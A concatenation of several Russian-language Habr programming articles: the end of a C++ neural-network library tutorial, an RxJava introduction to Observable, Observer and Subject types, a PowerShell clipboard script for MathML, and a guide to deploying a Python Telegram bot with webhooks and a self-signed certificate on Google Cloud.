Не долго думал над названием этой функции)), но именно она отвечает за прямое распространение исходных данных по сети.
```
void getResult(uint16_t size, double* data);
```
Эта функция позволяет получить выходные данные с последнего слоя сети.
```
void learnBackpropagation(double* data, double* ans, double acs, double k);
```
Благодаря этой процедуре можно обучить нейросеть, используя метод обратного распространения ошибки.
На этом публичные методы класса заканчиваются, сейчас остановимся на приватных полях класса:
```
vector>> neurons; //трёхмерный вектор с нейронами, который мы описывали ранее
vector>> weights; //трёхмерный вектор с весами, его мы тоже описали в первой части
uint8\_t numLayers; //количество слоёв сети
vector neuronsInLayers; //вектор, хранящий количество нейронов на каждом слое
/\*
Вообще это поле и предыдущее можно было бы и не объявлять, а брать количество слоёв и нейронов, исходя из размеров пространств весов и нейронов, но в этой статье мы не сильно затрагиваем вопросы оптимизации, этим займёмся позже
\*/
double Func(double in); // та самая активационная функция
double Func\_p(double in); // производная той самой активационной функции
uint32\_t MaxEl(uint16\_t size, uint16\_t \*arr);// простенькая функция для поиска максимума в массиве
void CreateNeurons(uint8\_t L, uint16\_t \*n);// эту и следующую функции использует конструктор для разметки векторов с весами и нейронами
void CreateWeights(uint8\_t L, uint16\_t \*n);
```
Закончим header — файл строкой:
```
#endif
```
На этом завершим header и оставим его в покое. Переходим к самому вкусному — source — файлу).
### Код внутри source — файла
Ссылка на весь код будет в конце, мы же разберём самые интересные его места.
Конструктор класса изнутри выглядит так:
```
NeuralNet::NeuralNet(uint8_t L, uint16_t *n) {
CreateNeurons(L, n); //переразмечаем пространство нейронов
CreateWeights(L, n); //переразмечаем пространство весов
this->numLayers = L;
this->neuronsInLayers.resize(L);
for (uint8_t l = 0; l < L; l++)this->neuronsInLayers[l] = n[l]; //в последних трёх строках заполняем все переменные класса
}
```
Про функцию прямого распространения рассказать особо нечего, просто берём и считаем всё от слоя к слою:
```
void NeuralNet::Do_it(uint16_t size, double *data) {
for (int n = 0; n < size; n++) { // тут вносим данные в нейроны первого слоя
neurons[n][0][0] = data[n]; // нулевое место отвечает за хранение входного значения
neurons[n][1][0] = Func(neurons[n][0][0]); // первое место отвечает за значение функции от входного в нейрон значения
}
for (int L = 1; L < numLayers; L++) { // а здесь от слоя к слою считаем входные значения каждого нейрона и значения их активационных функций
for (int N = 0; N < neuronsInLayers[L]; N++) {
double input = 0;
for (int lastN = 0; lastN < neuronsInLayers[L - 1]; lastN++) {// для каждого отдельного нейрона подсчитаем сумму его входов для отправки в активационную функцию
input += neurons[lastN][1][L - 1] * weights[lastN][N][L - 1];
}
neurons[N][0][L] = input;
neurons[N][1][L] = Func(input);
}
}
}
```
И, наконец, последнее, о чём хотелось бы рассказать, это функция вывода результата. Ну тут мы просто копируем значения из нейронов последнего слоя в массив, переданный нам в качестве параметра:
```
void NeuralNet::getResult(uint16_t size, double* data) {
for (uint16_t r = 0; r < size; r++) {
data[r] = neurons[r][1][numLayers - 1];
}
}
```
### Уход в закат
На этом мы приостановимся, следующая часть будет посвящена одной единственной функции, позволяющей обучить сеть. Из-за сложности и обилия математики я решил вынести её в отдельную часть, там же мы и протестируем работу всей библиотеки в целом.
Опять же, жду ваши советы и замечания в комментах.
Спасибо за уделённое внимание к статье, до скорого!
P.S.: Как и обещал — ссылка на исходники: [GitHub](https://github.com/HeavyPunk/Perceptron_c-) | https://habr.com/ru/post/514372/ | null | ru | null |
# Введение в RxJava: Ключевые типы
*В [вводной статье](http://habrahabr.ru/post/269417/) мы рассмотрели преимущества реактивного подхода в программировании на Java, а также ситуации в которых библиотека Rx бывает более или менее полезной. В этой части мы рассмотрим основные типы, на которых базируется концепция реактивного программирования и несколько дополнительных классов, которые помогут нам в понимании принципов работы библиотеки.*
##### Содержание:
* Часть первая – Вступление
1. [Почему Rx?](http://habrahabr.ru/post/269417/)
2. **Ключевые типы**
3. [Жизненный цикл подписки](http://habrahabr.ru/post/270975/)
* Часть вторая – Последовательности
1. [Создание последовательности](https://habrahabr.ru/post/281633/)
2. Фильтрация последовательности
3. Исследование
4. Агрегация
5. Трансформация последовательностей
* Часть третья – Управление последовательностями
* Часть четвертая – Параллельность
Ключевые типы
=============
Rx базируется на двух фундаментальных типах, в то время, как некоторые другие расширяют их функциональность. Этими базовыми типами являются **Observable** и **Observer**, которые мы и рассмотрим в этом разделе. Мы также рассмотрим **Subject**’ы – они помогут в понимании основных концепций Rx.
Rx построена на паттерне [Observer](https://ru.wikipedia.org/wiki/%D0%9D%D0%B0%D0%B1%D0%BB%D1%8E%D0%B4%D0%B0%D1%82%D0%B5%D0%BB%D1%8C_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)). В этом нет ничего нового, обработчики событий уже существуют в Java (например, JavaFX EventHandler[[1](#notes)]), однако они проигрывают в сравнении с Rx по следующим причинам:
* Обработку событий в них сложно компоновать
* Их вызов нельзя отложить
* Могут привести к утечке памяти
* Не существует простого способа сообщить об окончании потока событий
* Требуют ручного управления многопоточностью.
Observable
----------
[Observable](http://reactivex.io/RxJava/javadoc/rx/Observable) – первый базовый тип, который мы рассмотрим. Этот класс содержит в себе основную часть реализации Rx, включая все базовые операторы. Мы рассмотрим их позже, а пока нам следует понять принцип работы метода **subscribe**. Вот ключевая перегрузка [[2](#notes)]:
```
public final Subscription subscribe(Observer super T observer)
```
Метод **subscribe** используется для получения данных выдаваемых [[3](#notes)] observable. Эти данные передаются наблюдателю, который предполагает их обработку в зависимости от требований потребителя. Наблюдатель в этом случае является реализацией интерфейса **Observer**.
Observable сообщает три вида событий:
* Данные
* Сигнал о завершении последовательности [[4](#notes)] (что означает, что новых данных больше не будет)
* Ошибку, если последовательность завершилась по причине исключительной ситуации (это событие так же предполагает завершение последовательности)
Observer
--------
В Rx предусмотрена абстрактная реализация Observer, **Subscriber**. **Subscriber** реализует дополнительную функциональность и, как правило, именно его следует использовать для реализации **Observer**. Однако, для начала, рассмотрим только интерфейс:
```
interface Observer {
void onCompleted();
void onError(java.lang.Throwable e);
void onNext(T t);
}
```
Эти три метода являются поведением, которое описывает реакцию наблюдателя на сообщение от observable. **onNext** у наблюдателя будет вызван 0 или более раз, опционально сопровождаясь **onCompleted** или **onError**. После них вызовов больше не будет.
Разрабатывая код с помощью Rx, вы увидите много **Observable**, но намного меньше **Observer**. И хотя и необходимо понимать концепцию **Observer**, существуют способы не требующие непосредственного создания его экземпляра.
Реализация Observable и Observer
--------------------------------
Вы можете вручную реализовать **Observer** и **Observable**. В реальности в этом, как правило, нет необходимости: Rx предоставляет готовые решения, чтобы упростить разработку. Это также может быть не совсем безопасно, поскольку взаимодействие между частями библиотеки Rx включает в себя принципы и внутреннюю инфраструктуру, которые могут быть не очевидны новичку. В любом случае, будет проще для начала использовать множество инструментов уже предоставленных библиотекой для создания необходимого нам функционала.
Чтобы подписаться на observable, совсем нет необходимости в реализации **Observer**. Существуют другие перегрузки метода **subscribe**, которые принимают в качестве аргументов соответствующие функции для **onNext**, **onError** и **onSubscribe**, инкапсулирующие создание экземпляра **Observer**. Предоставлять их всех тоже не обязательно, вы можете описать только часть из них, например, только **onNext** или только **onNext** и **onError**.
Лямбда-выражения в Java 1.8 делают эти перегрузки очень подходящими для использования в коротких примерах этой серии статей.
Subject
-------
**Subject**’ы являются расширением **Observable**, одновременно реализуя интерфейс Observer. Идея может показаться странной, но в определенных случаях они делают некоторые вещи намного проще. Они могут принимать сообщения о событиях (как observer) и сообщать о них своим подписчикам (как observable). Это делает их идеальной отправной точкой для знакомства с Rx кодом: когда у вас есть данные, поступающие извне, вы можете передать их в Subject, превращая их таким образом в observable.
Существует несколько реализаций Subject. Сейчас мы рассмотрим самые важные из них.
PublishSubject
--------------
**PublishSubject** – самая простая реализация **Subject**. Когда данные передаются в **PublishSubject**, он выдает их всем подписчикам, которые подписаны на него в данный момент.
```
public static void main(String[] args) {
PublishSubject subject = PublishSubject.create();
subject.onNext(1);
subject.subscribe(System.out::println);
subject.onNext(2);
subject.onNext(3);
subject.onNext(4);
}
```
[Вывод:](https://github.com/Froussios/Intro-To-RxJava/blob/master/tests/java/itrx/chapter1/PublishSubjectExample.java)
```
2
3
4
```
Как мы видим, **1** не была напечатана из-за того, что мы не были подписаны в момент когда она была передана. После того как мы подписались, мы начали получать все значения поступающие в subject.
Здесь мы впервые используем метод **subscribe**, так что стоит уделить этому внимание. В данном случае мы используем перегруженную версию, которая принимает один объект класса [Function](http://reactivex.io/RxJava/javadoc/rx/functions/Function.html), отвечающий за **onNext**. Эта функция принимает значение типа Integer и ничего не возвращает. Функции, которые ничего не возвращают также называются actions. Мы можем передать эту функцию следующими способами:
* Предоставить объект класса **Action1**
* Неявно создать таковой используя [лямбда-выражение](https://en.wikipedia.org/wiki/Anonymous_function#Java)
* Передать ссылку на существующий метод с соответствующей сигнатурой. В данном случае, **System.out::println** имеет перегруженную версию, которая принимает **Object**, поэтому мы передаем ссылку на него. Таким образом, подписка позволяет нам печатать в основной поток вывода все поступающие в **Subject** числа.
ReplaySubject
-------------
**ReplaySubject** имеет специальную возможность кэшировать все поступившие в него данные. Когда у него появляется новый подписчик, последовательность выдана ему начиная с начала. Все последующие поступившие данные будут выдаваться подписчикам как обычно.
```
ReplaySubject s = ReplaySubject.create();
s.subscribe(v -> System.out.println("Early:" + v));
s.onNext(0);
s.onNext(1);
s.subscribe(v -> System.out.println("Late: " + v));
s.onNext(2);
```
[Вывод](https://github.com/Froussios/Intro-To-RxJava/blob/master/tests/java/itrx/chapter1/ReplaySubjectExample.java)
```
Early:0
Early:1
Late: 0
Late: 1
Early:2
Late: 2
```
Все значения были получены, не смотря на то, что один из подписчиков подписался позже другого. Обратите внимание, что до того как получить новое значение, подписчик получает все пропущенные. Таким образом, порядок последовательности для подписчика не нарушен.
Кэшировать всё подряд не всегда лучшая идея, так как последовательности могут быть длинными или даже бесконечными. Фабричный метод **ReplaySubject.createWithSize** ограничивает размер буфера, а **ReplaySubject.createWithTime** время, которое объекты будут оставаться в кеше.
```
ReplaySubject s = ReplaySubject.createWithSize(2);
s.onNext(0);
s.onNext(1);
s.onNext(2);
s.subscribe(v -> System.out.println("Late: " + v));
s.onNext(3);
```
[Вывод](https://github.com/Froussios/Intro-To-RxJava/blob/master/tests/java/itrx/chapter1/ReplaySubjectExample.java)
```
Late: 1
Late: 2
Late: 3
```
Наш подписчик на этот раз пропустил первое значение, которое выпало из буфера размером 2. Таким же образом со временем из буфера выпадают объекты у
Subject созданного при помощи **createWithTime**.
```
ReplaySubject s = ReplaySubject.createWithTime(150, TimeUnit.MILLISECONDS, Schedulers.immediate());
s.onNext(0);
Thread.sleep(100);
s.onNext(1);
Thread.sleep(100);
s.onNext(2);
s.subscribe(v -> System.out.println("Late: " + v));
s.onNext(3);
```
[Вывод](https://github.com/Froussios/Intro-To-RxJava/blob/master/tests/java/itrx/chapter1/ReplaySubjectExample.java)
```
Late: 1
Late: 2
Late: 3
```
Создание **ReplaySubject** с ограничением по времени требует объект планировщика (**Scheduler**), который является представлением времени в Rx. Мы обязательно вернемся к планировщикам в разделе про многопоточность.
**ReplaySubject.createWithTimeAndSize** ограничивает буфер по обоим параметрам.
BehaviorSubject
---------------
**BehaviorSubject** хранит только последнее значение. Это то же самое, что и **ReplaySubject**, но с буфером размером 1. Во время создания ему может быть присвоено начальное значение, таким образом гарантируя, что данные всегда будут доступны новым подписчикам.
```
BehaviorSubject s = BehaviorSubject.create();
s.onNext(0);
s.onNext(1);
s.onNext(2);
s.subscribe(v -> System.out.println("Late: " + v));
s.onNext(3);
```
[Вывод](https://github.com/Froussios/Intro-To-RxJava/blob/master/tests/java/itrx/chapter1/BehaviorSubjectExample.java)
```
Late: 2
Late: 3
```
Начальное значение предоставляется для того, чтобы быть доступным еще до поступления данных.
```
BehaviorSubject s = BehaviorSubject.create(0);
s.subscribe(v -> System.out.println(v));
s.onNext(1);
```
[Вывод](https://github.com/Froussios/Intro-To-RxJava/blob/master/tests/java/itrx/chapter1/BehaviorSubjectExample.java)
```
0
1
```
Так как роль **BehaviorSubject** – всегда иметь доступные данные, считается неправильным создавать его без начального значения, также как и завершать его.
AsyncSubject
------------
**AsyncSubject** также хранит последнее значение. Разница в том, что он не выдает данных до тех пока не завершится последовательность. Его используют, когда нужно выдать единое значение и тут же завершиться.
```
AsyncSubject s = AsyncSubject.create();
s.subscribe(v -> System.out.println(v));
s.onNext(0);
s.onNext(1);
s.onNext(2);
s.onCompleted();
```
[Вывод](https://github.com/Froussios/Intro-To-RxJava/blob/master/tests/java/itrx/chapter1/AsyncSubjectExample.java)
```
2
```
Обратите внимание, что если бы мы не вызвали **s.onCompleted()**, этот код ничего бы не напечатал.
Неявная инфраструктура
----------------------
Как мы уже упоминали, существуют принципы, которые могут быть не очевидны в коде. Один из важнейших заключается в том, что ни одно событие не будет выдано после того, как последовательность завершена (**onError** или **onCompleted**). Реализация **subject**’ уважает эти принципы:
```
Subject s = ReplaySubject.create();
s.subscribe(v -> System.out.println(v));
s.onNext(0);
s.onCompleted();
s.onNext(1);
s.onNext(2);
```
[Вывод](https://github.com/Froussios/Intro-To-RxJava/blob/master/tests/java/itrx/chapter1/RxContractExample.java)
```
0
```
Безопасность не может быть гарантирована везде, где используется Rx, поэтому вам лучше быть осведомленным и не нарушать этот принцип, так как это может привести к неопределенным последствиям.
В [продолжении](http://habrahabr.ru/post/270975/) мы рассмотрим жизненный цикл Observable.
[1] Или знакомые всем Event Listeners. – *Примеч. Автора*
[2] Я, все-таки считаю, что ключевой перегрузкой тут является именно версия с Observer в качестве аргумента, в оригинале в качестве примера приводится версия subscribe(Subscriber super T subscriber) – *Примеч. Автора*
[3] Я буду использовать слово «выдавать» чтобы описать событие передачи данных от Observable Observer’у (to emit в ориг.). – *Примеч. Автора*
[4] Автор использует термин последовательность (sequence), чтобы обозначить множество всех данных, которые может выдать Observable. – *Примеч. Автора* | https://habr.com/ru/post/270023/ | null | ru | null |
# Копируем формулу из Windows 7 Math Input Panel в буфер обмена с помощью Powershell 2.0
MathML.ps1
```
Add-Type -AssemblyName PresentationCore
$dataObject = [Windows.Clipboard]::GetDataObject()
$memoryStream = $dataObject.GetData("MathML")
if ($memoryStream) {
$streamReader = [System.IO.StreamReader]($memoryStream)
$mathML = $streamReader.ReadToEnd()
[Windows.Clipboard]::SetText($mathML)
}
```
Запуск
`powershell.exe -noprofile -sta -command .\MathML.ps1` | https://habr.com/ru/post/93736/ | null | ru | null |
# Телега для датасайентиста
*How to deploy Python Telegram bot using Webhooks on Google Cloud Platform*
Вместо предисловия
------------------
*— Напиши телеграм-бота. Сейчас даже школьники пишут, — сказала она.
— А почему бы и нет, — подумал я тогда ( — Ну, ну, — сказал бы я сейчас).*
Мы сидели в Бине и за чашкой кофе обсуждали возможности тестирования идей с моделями искусственного интеллекта на близком и не очень круге друзей. Лена, моя бывшая коллега, и во всех отношениях не блондинка, только что закончившая магистратуру, рассуждала так. Создав бота, можно сэкономить силы и время на интерфейсе, сосредоточившись на ядре с машинным обучением. Согласитесь, что устоять против такой логики “спортсменки, комсомолки и просто красавицы” в то прекрасное воскресное утро было невозможно. Решено. Телеграм-бот, значит телеграм-бот.
Первым делом я залез в гугл и нашел большое число ссылок “как сделать бот за 30 минут”. Это меня настолько воодушевило, что дальше названий я не пошел и занялся созданием ядра. В самом первом приближении мне предстояло написать систему обработки поисковых запросов с использованием NLP (natural language processing). Написание ядра заняло некоторое, вполне разумное, время (все же опыт кока-колой не пропить). И через несколько дней я был готов к тому, чтобы за пару часов обернуть первую тестовую версию ядра в пару другую команд send-receive, запустив все это в Телеграме на благо моим друзьям. Но не тут-то было.
Неожиданно возник целый клубок проблем. Потратив пару дней на поиски в интернете и общение с коллегами по цеху, я понял, что очевидное не очевидно, и еще одна “инструкция” точно не повредит. Так и появилась эта статья.
Вместо вступления. Библиотеки
-----------------------------
Существует несколько библиотек на Python’е для телеграм-ботов. Сам Телеграм ссылается на три из них: [python-telegram-bot](https://github.com/python-telegram-bot/python-telegram-bot), [pyTelegramBotAPI](https://github.com/eternnoir/pyTelegramBotAPI), [AIOGram](https://github.com/aiogram/aiogram). Ссылки на эти библиотеки и примеры на других языках можно посмотреть на сайте Телеграма [здесь](https://core.telegram.org/bots/samples). Конечно, существует еще [API самого Телеграма](https://core.telegram.org/bots/api). В ходе своих экспериментов я попробовал два варианта API Телеграма и pyTelegramBotAPI. И пока остановился на втором.
В целом впечатления от библиотек следующие. Все очень похожи, что неудивительно. Python-telegram-bot, мне показалось, имеет лучшую документацию из всех, хотя работа над ней прекратилась (надеюсь, ошибаюсь). Видно, что над pyTelegramBotAPI работа продолжается, появляется новый функционал. AIOGram кажется моложе и зеленее. В последней не понравилось, что вместо документации по webhook’ам шла отсылка на сайт Телеграма. Но все течет, все меняется. И окончательный выбор еще предстоит сделать.
Больше к вопросу с библиотеками в этой статье мы возвращаться не будем.
Что касается кода самого бота, то, как я уже отмечал, в интернете существует множество мануалов, посвященных созданию простейших и более сложных программ. Для целей этой статьи это непринципиально. Возьмем для определенности два примера с официального гитхаба pyTelegramBotAPI:
1. [Телеграм-бот с использованием polling](https://github.com/eternnoir/pyTelegramBotAPI/blob/master/examples/echo_bot.py);
2. [Телеграм-бот с использованием webhook](https://github.com/eternnoir/pyTelegramBotAPI/blob/master/examples/webhook_examples/webhook_aiohttp_echo_bot.py).
Самые неоднозначные темы с телеграм-ботами это ssl-сертификаты, webhook’и, диплоинг. Вокруг этого и сосредоточим наше внимание. Ниже я приведу пошаговую инструкцию, которая позволит наиболее простым и надежным способом за минимальное время разместить ваш телеграм-бот на одном из лучших облачных сервисов в мире, да еще и совершенно бесплатно (по крайней мере, в первый год). Создание ssl-сертификатов, их регистрация в Телеграме и другие смежные вопросы также будут освещены. При необходимости я буду давать пояснения, почему мы используем тот или иной вариант, те или иные команды.
Polling vs Webhook
------------------
Если бы не противостояние polling vs webhook и некоторые сложности (отчасти надуманные) с webhook’ом, в этой статье не было бы необходимости. Раз это имеет принципиальное значение, давайте разберемся подробнее.
Что такое бот и как он общается с Телеграмом? Очевидно, бот это программа, которая работает на вашем компьютере или сервере. А общение с Телеграмом происходит методами отправки и получения сообщений. И если с отправкой сообщений примерно все ясно, вариант один — послать (адрес “куда” мы знаем). То вариантов получения ботом сообщений от Телеграма два.
Первый — это опрос (буквальный перевод слова polling) сервера Телеграма на наличие сообщений для бота. Второй — это “почтовый ящик” с ip-адресом (webhook — можно перевести как веб-ловушка), на который приходят сообщения от сервера Телеграма.
Самая простая аналогия с реальной почтой. Пусть почта (почтовое отделение) — это сервер Телеграма, а вы — это ваш бот. Тогда, в первом случае (polling) вам приходится ходить на почту за корреспонденцией. И если хотите получать сообщения без задержек, то придется не ходить, а буквально бегать без передышек взад и вперед. Как понимаем, жить на почте в ожидании сообщений запрещено! Во втором случае вы сообщаете почтовому отделению свой домашний адрес и ждете корреспонденцию спокойно дома, попивая чай или покуривая бамбук.
Конечно, для человека первый вариант кажется самым суровым. Но, говоря между нами, если бегать за сообщениями мы посылаем железку с кодом, то нам должно быть все равно. И так бы и было, если бы не одна проблема. Время от времени, почта (сервер Телеграма) то закрывается на обед, то переезжает. И у вас в первом варианте (polling) происходит трагедия, которая в реальном мире ботов заканчивается их зависанием и сбоем.
Во втором же случае “почтового ящика” с адресом (webhook’ом) такого не происходит. Потому что ни вы, ни ваш бот, никуда не ходите, а просто ждете. И вам все равно, куда переехало почтовое отделение, потому что почту вам приносит почтальон.
Таким образом, по объему кода (см. ссылку выше) первый вариант кажется проще. А второй логичнее, но тяжелее. Для его реализации нужно завести адрес, подтвердить его достоверность и поднять веб-сервер, на который и будут приходить сообщения от Телеграма.
Конечно, для первого варианта есть возможность внести в код обработку исключений. Например, если почта закрыта, постоять и подождать. Но интернет утверждает, что все равно боты с polling’ом только для поиграться.
Я сначала не поверил, что проблема настолько серьезна. И сделал вариант с polling’ом, предполагая, что как-нибудь позже перепишу на webhook’и. Но это не сработало. На моем домашнем компе с macOS бот работал без проблем и час и два (конечно, с VPN) и не падал. Но стоило мне перенести его на облачный сервер на Linux’е он не мог проработать и 20 минут. Я пытался решить эту проблему разными путями и настройками, но получал лишь разный код ошибок. Селяви, это Телеграм. Потеряв день, пришлось взяться за webhook’и, не откладывая на потом. В конце концов, я же хотел запустить бот на сервере сейчас, а не через год.
Переписываем код на webhook
---------------------------
*Не так страшен webhook как его малюют.*
Если у вас уже есть код бота с polling’ом, то переписать его на webhook не составит почти никакого труда. Сравните коды из примеров библиотеки pyTelegramBotAPI. Вы обнаружите пересечение кода. Строки 13-25 из [первого примера](https://github.com/eternnoir/pyTelegramBotAPI/blob/master/examples/echo_bot.py) совпадают со строками 56-67 [второго примера](https://github.com/eternnoir/pyTelegramBotAPI/blob/master/examples/webhook_examples/webhook_aiohttp_echo_bot.py). Это логический блок, отвечающий за обработку команд, сообщений и ответов. В данном случае пример слишком простой, но главную суть он отражает.
```
# Handle '/start' and '/help'
@bot.message_handler(commands=['help', 'start'])
def send_welcome(message):
bot.reply_to(message, """\
Hi there, I am EchoBot.
I am here to echo your kind words back to you. Just say anything nice and I'll say the exact same thing to you!\
""")
# Handle all other messages with content_type 'text' (content_types defaults to ['text'])
@bot.message_handler(func=lambda message: True)
def echo_message(message):
bot.reply_to(message, message.text)
```
Таким образом, логический блок бота нужно оставить без изменений, а остальное поменять, используя банальный copy-past кода вне логического блока из второго примера (т.е. копируем строки 1-55 и 70-87). Если вы присмотритесь к коду, который копируете, то без труда выясните, что с помощью библиотеки [aiohttp](https://aiohttp.readthedocs.io/en/stable/) ваш бот устанавливает http-сервер и начинает прослушку выделенного для этого порта, а питоновский модуль [ssl](https://docs.python.org/3/library/ssl.html) отвечает за шифрование и сертификаты. Помимо aiohttp существуют и другие аналогичные библиотеки, примеры с которыми можно посмотреть [здесь](https://github.com/eternnoir/pyTelegramBotAPI/tree/master/examples/webhook_examples).
Итак. Бот с webhook’ом у нас есть. Осталось выложить его на сервер и запустить, попутно получив данные для заполнения пустых значений в коде API\_TOKEN, WEBHOOK\_HOST, WEBHOOK\_PORT, WEBHOOK\_SSL\_CERT, WEBHOOK\_SSL\_PRIV. За каждым из этих значений скрывается определенная процедура с тайным смыслом.
Регистрируем бот в Телеграме
----------------------------
Начнем с токена бота. Чтобы его получить заходим в Телеграм-мессенджер и подключаемся к боту [BotFather](https://habr.com/ru/users/botfather/). Вводим команду “/newbot”. В ответ BotFather предлагает нам ввести name и username нашего бота и присылает вожделенный токен вида “712308912:DLGSteczdUnPdnNYLzNikaGOhome7l9q3vova” (конечно, у вас будет другой). Сохраняем токен, никому не показываем. В коде присваиваем его переменной API\_TOKEN.
Где размещать? Google Cloud Platform vs Heroku
----------------------------------------------
Несколько слов о муках выбора облачного сервиса. В интернете вы встретите много примеров, где телеграм-боты размещаются на Heroku. Heroku — это PaaS платформа (платформа как сервис). Вы заливаете код на GitHub, а оттуда на [Heroku](https://www.heroku.com). И ваш бот начинает сразу же работать. Не надо устанавливать сервер, Python и библиотеки, все уже сделано за вас. По крайней мере так в идеале. Это решение мне также рекомендовал один из моих знакомых. Но я от него отказался.
Как я понял, основным посылом для рекомендаций Heroku во многих руководствах “бот за 30 минут” является наличие на Heroku [бесплатного тарифного плана](https://www.heroku.com/pricing). Но, если вы посмотрите внимательнее, то окажется, что этот план весьма ограничен и не позволит вам развернуть бесплатно бот, который бы работал сутки напролет.
В отличие от Heroku [Google Cloud Platform](https://cloud.google.com) (GCP) предлагает целый год бесплатной работы на всех сервисах в пределах 300 долларов. За эту сумму за год много чего можно попробовать. На мой взгляд это шикарный подарок, особенно для тех, кто занимается датасайенсом. И, конечно, GCP тоже PaaS, полный список сервисов [здесь](https://cloud.google.com/products). Есть и безсерверные решения, как и на Heroku. Я выбрал более консервативный путь для большего контроля в будущем, а именно серверное решение [Compute Engine](https://cloud.google.com/compute) на GCP.
Google Cloud Platform
---------------------
*Project, instance, static ip, port*
#### Создаем проект и сервер
Заходим на GCP, выбираем “Get started for free” и следуем инструкциям. Если все сделаем правильно, то у нас появится аккаунт с суммой в 300 долларов и даже первый созданный проект. Выбираем этот проект или создаем другой в верхнем меню, что не сложно. И затем идем на вкладку “Compute Engine/VM Instance” в боковом открывающемся меню.
Нажимаем “CREATE INSTANCE” и выбираем конфигурацию сервера, например, как показано на скрине ниже. Вы можете выбрать конфигурацию micro и тогда это будет стоить всего 4 доллара в месяц. Можно и шикануть, средства будут списываться из подарка от Google в 300 долларов.
В итоге получаем.
#### Делаем ip-адрес статичным
В колонке “External IP” мы видим адрес, который вбиваем в переменную WEBHOOK\_HOST в нашем боте (в данном примере это 35.224.231.90). На этот адрес позже мы получим ssl-сертификат. Если вы собираетесь достаточно долго пользоваться ботом (даже, если будете менять сервер в пределах GCP), то рекомендую сделать этот ip-адрес статичным, чтобы сохранить его при переходе с одного instance на другой. Делается это в разделе “VPC/External IP addresses”.
Меняем поле “Type” с “Ephemeral” на “Static”, задав имя статичному адресу, чтобы потом не запутаться, если позже у вас будет десяток ip-адресов.
#### Открываем порт
Для корректной работы webhook’а нам потребуется открыть порт, на который будет стучаться Телеграм. В настоящее время (июль 2019 года) Телеграм поддерживает следующие порты: 443, 80, 88, 8443. Подробнее вы можете посмотреть полное руководство от Телеграма по webhook’ам [здесь](https://core.telegram.org/bots/webhooks). Мы откроем порт 8443. В нашем боте это значение уже присвоено переменной WEBHOOK\_PORT. Осталось настроить правило брэндмаура в GCP для нашего инстанса webhook-bot. Как это сделать? Идем на вкладку “VPC/Firewall rules” и нажимаем на “CREATE FIREWALL RULE”.
И создаем правило, как это показано на скрине ниже.
#### Подключаемся к серверу, устанавливаем библиотеки
На этом основная настройка сервера на Google Cloud Platform завершена. Мы завели аккаунт на GCP, создали проект, в рамках проекта создали сервер (инстанс) на базе Ubuntu 19.04, зарезервировали ip-адрес, открыли порт 8443.
Осталось немного. Надеюсь, мы можем обойтись без подробного описания части с установкой Python и библиотек. Поэтому кратко.
Заходим в GCP на вкладку “Compute Engine/VM Instance” и в поле “Connect” нажимаем на “SSH”.
На вашем локальном компьютере должен открыться терминал с доступом к инстансу на GCP. Это обычная среда Ubuntu. Устанавливаем [conda](https://conda.io) или [virtualenv](https://virtualenv.pypa.io), создаем виртуальную среду и устанавливаем Python 3 с основными библиотеками. Дополнительно устанавливаем библиотеки, необходимые для работы нашего бота:
pip install pyTelegramBotAPI
pip install aiohttp
После установки не закрывайте терминал, он нам понадобится.
Получение самоподписанного сертификата SSL для IP
-------------------------------------------------
Надо сказать, что в интернете вокруг темы ssl сертификатов для Телеграма сплошной хоррор. Как сказал Михаил Лермонтов на этот счет:
*“Смешались в кучу кони, люди,
И залпы тысячи орудий
Слились в протяжный вой…”*
Если почитать, что пишут в интернете, то получится, что если бот на webhook’ах не работает, то во всем виноваты неправильно полученные сертификаты. А еще, их нельзя регистрировать на ip. И вообще самоподписанные сертификаты Телеграм не принимает. И даже, если он примет сертификат, то это не значит, что ваш бот будет работать, и Телеграм даже ошибку не пришлет.
Вот такие страшилки. К чему я это пишу? К тому, что эти страшилки обошлись мне в еще одни потерянные сутки, даже пришлось пропустить просмотр “Хоббита”. Мой бот первоначально отказывался работать на webhook’ах. Это произошло из-за моих ошибок при его размещении на сервере (тогда я этого не знал). Но из-за страшилок выше я искал проблему не там, сосредоточившись на решении проблем с ssl-сертификатами, которых не было. Зато я приобрел бесценный опыт. Я нарегистрировался сертификатов на годы вперед как на доменные имена, так и на ip, как самоподписанные, так и платные, как в виде двух файлов, так и в виде четырех. Я узнал, какие бывают сертификаты и как делать из них цепочки. Надеюсь, мне это когда-нибудь пригодится.
Одно хорошо, вам на эти грабли наступать не надо, я это уже сделал за вас. Вполне допускаю, что как не бывает “дыма без огня”, так и для таких страшилок был повод. Но на текущий день ситуация похоже устаканилась.
Прямо сейчас мы с вами получим ssl-сертификат самым удобным для нас путем, а именно на ip (а не на доменное имя), самоподписанные (т.е. бесплатно) и обойдясь всего одной строчкой без всяких сайтов.
В терминале (который мы еще не закрыли) подготовьте отдельный каталог, в который мы сохраним файл сертификата и приватный ключ. Зайдите в этот каталог и из него вызовите следующую команду.
```
$ openssl req -newkey rsa:2048 -sha256 -nodes -keyout url_private.key -x509 -days 3560 -out url_cert.pem
```
В ответ вы получите запросы на заполнение ряда простых полей. Заполните их по примеру ниже. Но, конечно, укажите верно код своей страны, область, город, название компаний (если они есть), подставьте свой ip и свой email.
В итоге вы получите два файла в каталоге, из которого запустили эту команду. Один файл url\_cert.pem и есть ваш сертификат, а второй приватный ключ url\_private.key. В коде бота для них выделены переменные WEBHOOK\_SSL\_CERT и WEBHOOK\_SSL\_PRIV соответственно. Не забудьте вписать пути доступа к этим файлам вместе с наименованиями. Скачайте копии и сохраните их у себя на будущее.
Не закрывайте терминал.
Регистрация webhook в Телеграме
-------------------------------
#### Регистрация webhook с самоподписанным сертификатом
Пожалуй, это самая волнительная часть “А что скажет Телеграм?”. Без всяких преамбул просто вбивайте в свой терминал следующую команду. IP-адрес замените своим, порт 8443 не трогайте. Вставьте полученный от BotFather токен между “/bot” и “/setWebhook”) вместо YOUR-TOKEN. Команду запускайте из каталога, где хранятся сертификаты.
```
$ curl -F "url=https://35.224.231.90:8443" -F "certificate=@url_cert.pem" https://api.telegram.org/botYOUR-TOKEN/setWebhook
```
Если все верно, вы получите в терминале лаконичное сообщение от Телеграма, что webhook установлен.
#### Регистрация webhook с “правильным” сертификатом
Если у вас не самоподписанный сертификат, то установить webhook можно следующей командой прямо из броузера.
```
https://api.telegram.org/botYOUR-TOKEN/setWebhook?url=https://YOUR.DOMAIN:8443/YOUR-TOKEN/
```
